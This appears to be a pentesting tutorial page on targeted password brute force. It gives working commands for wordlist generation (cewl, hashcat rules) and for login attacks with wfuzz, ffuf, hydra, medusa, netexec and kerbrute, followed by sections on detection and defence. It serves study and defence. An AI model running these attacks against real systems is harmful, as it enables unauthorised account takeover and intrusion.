the_open_door
coffee
ESEN
← Back to index

Targeted password bruteforce (cewl, custom wordlists)

Against a login (web or service), bruteforce effectiveness comes from relevance, not size. rockyou.txt (14M passwords) takes forever and yields false positives; a 200-word list scraped from the target itself often hits in seconds. Typical flow: first a likely user or a short user list, then a tailored dictionary, and only as a last resort the big ones.

Tailored wordlists. cewl crawls the target's pages and returns the words it finds; ideal against blogs and CMS where admins reuse content terms (characters, brand, theme) as passwords. For usernames, username-anarchy generates the usual combinations from a real name; to grow any list with the mutations people actually apply (leading capital, year, trailing symbol) there are the hashcat rules (password mutation).

cewl -d 3 -m 5 http://<host>/ -w words.txt        # depth 3, words of >=5 letters
cewl -e --email_file emails.txt http://<host>/     # harvest emails along the way
./username-anarchy Firstname Lastname > users.txt  # generate likely usernames
hashcat --stdout words.txt -r /usr/share/hashcat/rules/best64.rule > mutated.txt  # +real mutations

Web login (wfuzz / ffuf). Mark the variable field with FUZZ and filter noise by what tells a hit apart: usually the code (302 vs 200), but also the size (--hh/-fs) or a string in the response (--hs/-fr).

# wfuzz: hide failures by code (a successful login usually redirects with 302)
wfuzz -u http://<host>/admin/login.php \
      -d 'user=admin&pass=FUZZ&submit=Login' \
      -w mutated.txt --hc 200

# wfuzz: when everything returns 200, filter by error text or by size
wfuzz -u http://<host>/login -d 'user=admin&pass=FUZZ' -w words.txt --hs 'Invalid'
wfuzz -u http://<host>/login -d 'user=admin&pass=FUZZ' -w words.txt --hh 4242

# ffuf equivalent (-fc hides by code, -fr by regex)
ffuf -u http://<host>/login -X POST -w words.txt \
     -d 'user=admin&pass=FUZZ' \
     -H 'Content-Type: application/x-www-form-urlencoded' -fc 200

Network services (hydra / medusa / netexec). The same dictionary works for SSH, FTP, RDP, SMB or databases. -f stops on the first hit, -t tunes threads (lower it if the service drops connections), -V shows each attempt.

hydra -l <user> -P <passwords.txt> ssh://<ip> -t 4 -f      # SSH
hydra -L <users.txt> -P <passwords.txt> ftp://<ip>          # FTP (several users)
hydra -l <user> -P <passwords.txt> rdp://<ip>              # RDP
hydra -l <user> -P <passwords.txt> mysql://<ip>            # MySQL (also mssql://, postgres://)
hydra -l <user> -P <passwords.txt> <ip> http-get /admin/   # HTTP Basic Auth

# form login: syntax "path:body^USER^/^PASS^:failure_condition"
hydra <ip> -l admin -P <passwords.txt> \
      http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"

# medusa: same job, different engine (useful when hydra chokes on a service)
medusa -h <ip> -u <user> -P <passwords.txt> -M ssh -f

# netexec: try creds against SMB/WinRM/etc. and see where they land (Pwn3d!)
netexec ssh <ip> -u <user> -p <passwords.txt>
netexec smb <ip> -u <user> -p <passwords.txt>

Active Directory (kerbrute). Against a DC, kerbrute tries passwords over Kerberos (pre-auth) without touching most logon logs and is far faster; first validate which users exist, then attack.

kerbrute userenum -d <domain> --dc <ip> <users.txt>            # which users exist
kerbrute bruteuser -d <domain> --dc <ip> <passwords.txt> <user> # many passwords, one user

Nuances. Not the same as password spraying: here we hit one user with many passwords; in spraying, many users with a single password. Targeted bruteforce works when there is no lockout policy or the user is specific (CMS admin, root, Administrator); spraying is used when there is a lockout to avoid. If the target hands out hashes instead of accepting a login, the attack moves offline (hash cracking), with no attempt limit and no network noise.

How to detect it. The access-log (or auth-log) signature is a burst of attempts to the same endpoint/service with a single user and many passwords from one IP, with a flood of failures (same size/200, or 4625/auth failure) and, at the end, a standout success (302, 4624, an opened session): that change is both the attacker's win and the defender's signature. The wfuzz/hydra User-Agent and the inhuman cadence reinforce it. A rate-limit or a per-user/source failure counter detects and stops it.

Defence. Aggressive rate limiting on login (beyond N/min per IP and per user), temporary lockout after several failures, MFA. In CMS, enforce complex passwords and forbid on-site words as passwords. Alert on spikes of auth failures and on a success that arrives after many failures from the same source.

ToolsCeWLhydraMedusacrunch

Machines where it's used